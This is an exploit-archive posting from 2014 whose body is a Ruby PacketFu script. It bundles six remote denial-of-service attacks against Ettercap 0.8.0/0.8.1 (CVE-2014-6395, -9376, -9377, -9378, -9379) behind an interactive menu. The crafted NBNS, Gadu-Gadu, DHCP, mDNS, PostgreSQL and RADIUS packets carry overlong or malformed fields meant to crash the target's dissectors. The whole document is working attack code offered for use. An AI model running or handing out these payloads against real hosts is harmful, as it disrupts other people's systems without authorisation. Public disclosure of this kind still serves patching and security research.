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Ettercap 0.8.0 / 0.8.1 Denial Of Service

Posted on 20 December 2014

#Exploit Title: 6 Remote ettercap Dos exploits to 1 #Date: 19/12/2014 #Exploit Author: Nick Sampanis #Vendor Homepage: http://ettercap.github.io #Software Link: https://github.com/Ettercap/ettercap/archive/v0.8.1.tar.gz #Version: 8.0-8.1 #Tested on: Linux #CVE: CVE-2014-6395 CVE-2014-9376 CVE-2014-9377 CVE-2014-9378 CVE-2014-9379 #Make sure that you have installed packefu and pcaprub require 'packetfu' include PacketFu if ARGV.count < 4 puts "[-]Usage #{$PROGRAM_NAME} src_ip dst_ip src_mac iface" puts "[-]Use valid mac for your interface, if you dont know"+ " victim's ip address use broadcast" exit end def nbns_header u = UDPPacket.new() u.eth_saddr = ARGV[2] u.eth_daddr = "ff:ff:ff:ff:ff:ff" u.ip_daddr = ARGV[1] u.ip_saddr = ARGV[0] u.udp_src = 4444 u.udp_dst = 137 u.payload = "xa0x2cx01x10x00x01x00x00x00x00x00x00" u.payload << "x20x46x48x45x50x46x43x45x4cx45x48x46"#name u.payload << "x43x45x50x46x46x46x41x43x41x43x41x43"#name u.payload << "x41x43x41x43x41x43x41x41x41x00"#name u.payload << "x00x20" #type u.payload << "x00x01" #class u.payload << "A"*1000 #pad u.recalc u.to_w(ARGV[3]) end def gg_client u = TCPPacket.new() u.eth_saddr = ARGV[2] u.eth_daddr = "ff:ff:ff:ff:ff:ff" u.ip_saddr = ARGV[0] u.ip_daddr = ARGV[1] u.tcp_src = 3333 u.tcp_dst = 8074 u.payload = "x15x00x00x00" #gg_type u.payload << "xe8x03x00x00" #gg_len u.payload << "A"*1000 u.recalc u.to_w(ARGV[3]) end def dhcp_header u = UDPPacket.new() u.eth_saddr = ARGV[2] u.eth_daddr = "ff:ff:ff:ff:ff:ff" u.ip_daddr = ARGV[0] u.ip_saddr = ARGV[1] u.udp_src = 67 u.udp_dst = 4444 u.payload = "x02"*236 u.payload << "x63x82x53x63" u.payload << "x35" u.payload << "x00x05x00" u.payload << "x51" u.payload << "x00" #size u.payload << "A" * 3 #pad u.recalc u.to_w(ARGV[3]) end def mdns_header u = UDPPacket.new() u.eth_saddr = ARGV[2] u.eth_daddr = "ff:ff:ff:ff:ff:ff" u.ip_daddr = ARGV[1] u.ip_saddr = ARGV[0] u.udp_src = 4444 u.udp_dst = 5353 u.payload = "x11x11" #id u.payload << "x00x00" #flags u.payload << "x00x01" #questions u.payload << "x00x00" #answer_rr u.payload << "x00x00" #auth_rrs u.payload << "x00x00" #additional_rr u.payload << "x06routerx05localx00" #name u.payload << "x00x01" #type u.payload << "x00x01" #class u.recalc u.to_w(ARGV[3]) end def mdns_dos_header u = UDPPacket.new() u.eth_saddr = ARGV[2] u.eth_daddr = "ff:ff:ff:ff:ff:ff" u.ip_daddr = ARGV[1] u.ip_saddr = ARGV[0] u.udp_src = 4444 u.udp_dst = 5353 u.payload = "x11x11" #id u.payload << "x00x00" #flags u.payload << "x00x01" #questions u.payload << "x00x00" #answer_rr u.payload << "x00x00" #auth_rrs u.payload << "x00x00" #additional_rr u.payload << "x01" u.payload << "x00x01" #type u.payload << "x00x01" #class u.payload << "A"*500 u.recalc u.to_w(ARGV[3]) end def pgsql_server u = TCPPacket.new() u.eth_saddr = ARGV[2] u.eth_daddr = "ff:ff:ff:ff:ff:ff" u.ip_saddr = ARGV[1] u.ip_daddr = ARGV[0] u.tcp_src = 5432 u.tcp_dst = 3333 u.payload = "x52x00x00x00x08x00x00x00x03x73x65x72x02x74x65x73x74x00x64x61x74x61x62x61x73x65x02x74x65x73x74x00x63x6cx69x65x6ex74x5fx65x6ex63x6fx64x69x6ex67x00x55x4ex49x43x4fx44x45x00x44x61x74x65x53x74x79x6cx65x00x49x53x4fx00x54x69x6dx65x5ax6fx6ex65x00x55x53x2fx50x61x63x69x66x69x63x00x00" u.recalc u.to_w(ARGV[3]) end def pgsql_client u = TCPPacket.new() u.eth_saddr = ARGV[2] u.eth_daddr = "ff:ff:ff:ff:ff:ff" u.ip_saddr = ARGV[0] u.ip_daddr = ARGV[1] u.tcp_src = 3333 u.tcp_dst = 5432 u.payload = "x70x00x00x5bx00x03x00x00x75x73x65x72x02x74x65x73x74x00x64x61x74x61x62x61x73x65x02x74x65x73x74x00x63x6cx69x65x6ex74x5fx65x6ex63x6fx64x69x6ex67x00x55x4ex49x43x4fx44x45x00x44x61x74x65x53x74x79x6cx65x00x49x53x4fx00x54x69x6dx65x5ax6fx6ex65x00x55x53x2fx50x61x63x69x66x69x63x00x00" u.recalc u.to_w(ARGV[3]) end def pgsql_client_shell u = TCPPacket.new() u.eth_saddr = ARGV[2] u.eth_daddr = "ff:ff:ff:ff:ff:ff" u.ip_saddr = ARGV[0] u.ip_daddr = ARGV[1] u.tcp_src = 3333 u.tcp_dst = 5432 u.payload = "x70" u.payload << "x00x00x03xe9" #len u.payload << "A"*1000 u.payload << "x00" u.recalc u.to_w(ARGV[3]) end def radius_header u = UDPPacket.new() u.eth_saddr = ARGV[2] u.eth_daddr = "ff:ff:ff:ff:ff:ff" u.ip_daddr = ARGV[1] u.ip_saddr = ARGV[0] u.udp_src = 4444 u.udp_dst = 1645 u.payload = "x01x01x00xffx00x01x00x00x00x00x00x00x20x46x48x00x50x46x43xffx01x00x48x46x01x00x50x46x46x46x41x43x41x43x41x43x41x43x41x43x41x43x41x41x41x00x00x20x00x01" u.recalc u.to_w(ARGV[3]) end puts "[+]6 Remote ettercap Dos exploits to 1 by Nick Sampanis" puts "[+]-1- nbns plugin CVE-2014-9377" puts "[+]-2- gg dissector CVE-2014-9376" puts "[+]-3- dhcp dissector CVE-2014-9376" puts "[+]-4- mdns plugin CVE-2014-9378" puts "[+]-5- postgresql dissector CVE-2014-6395(works only in 8.0)" puts "[+]-6- radius dissector CVE-2014-9379" print "choice:" choice = $stdin.gets.chomp().to_i() case choice when 1 puts "[+]Sending nbns packet.." nbns_header when 2 puts "[+]Sending client gg packet.." gg_client when 3 puts "[+]Sending dhcp packet.." dhcp_header when 4 puts "[+]Sending mdns packet.." mdns_header mdns_dos_header when 5 puts "[+]Sending pgsql packet.." pgsql_client pgsql_server pgsql_client_shell when 6 puts "[+]Sending radius packet.." radius_header else puts "[-]Unrecognized command " end

 

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